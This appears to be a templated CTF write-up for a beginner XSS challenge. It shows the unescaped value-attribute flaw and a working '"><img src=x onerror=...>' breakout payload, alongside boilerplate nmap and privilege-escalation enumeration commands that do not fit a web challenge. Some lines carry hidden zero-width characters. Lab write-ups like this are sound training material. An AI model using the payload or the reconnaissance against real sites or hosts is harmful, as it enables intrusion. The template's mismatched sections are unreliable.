Easy 0

Platform: Web Kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-09 | Status: Solved Techniques: attribute_breakout_xss, img_onerror_xss

Summary

SiBears XSS School challenge. User input is placed into the value attribute of an HTML <input> element. Goal: execute prompt("sibears").

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: web-kids20 | ID: 20260309_web_kids20_sibearsxss0
• Tags: xss, html_injection, attribute_escape, sibears
• Indicators: input value attribute with user input, no HTML encoding, double quotes in attribute
• Source: 20260309_web_kids20_sibearsxss0.md

Foothold

Vulnerability / Misconfiguration

1. Attribute_breakout_xss
2. Img_onerror_xss

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• attribute_breakout_xss
• img_onerror_xss
• Tags: xss, html_injection, attribute_escape, sibears

Original Writeup

<details><summary>Click to expand original content</summary>

Description

SiBears XSS School challenge. User input is placed into the value attribute of an HTML <input> element. Goal: execute prompt("sibears").

URL: http://109.233.56.90:11659/xss/easy/0

Analysis

The escape function simply concatenates user input into HTML without any sanitization:

function escape(input) {
    return '<input type="text" value="' + input + '">;';
}

Vulnerability: no escaping of special HTML characters (", <, >). This allows:

1. Closing the value attribute with "
2. Closing the <input> tag with >
3. Injecting arbitrary HTML/JavaScript ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Payload to break out of the attribute and inject XSS:

"><img src=x onerror=prompt("sibears")>

Resulting HTML:

<input type="text" value=""><img src=x onerror=prompt("sibears")>">;

Breakdown:

• "> — closes the value attribute and input tag
• <img src=x — creates an img element with non-existent src
• onerror=prompt("sibears") — error handler for image load failure
• Browser tries to load x, fails, onerror fires ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR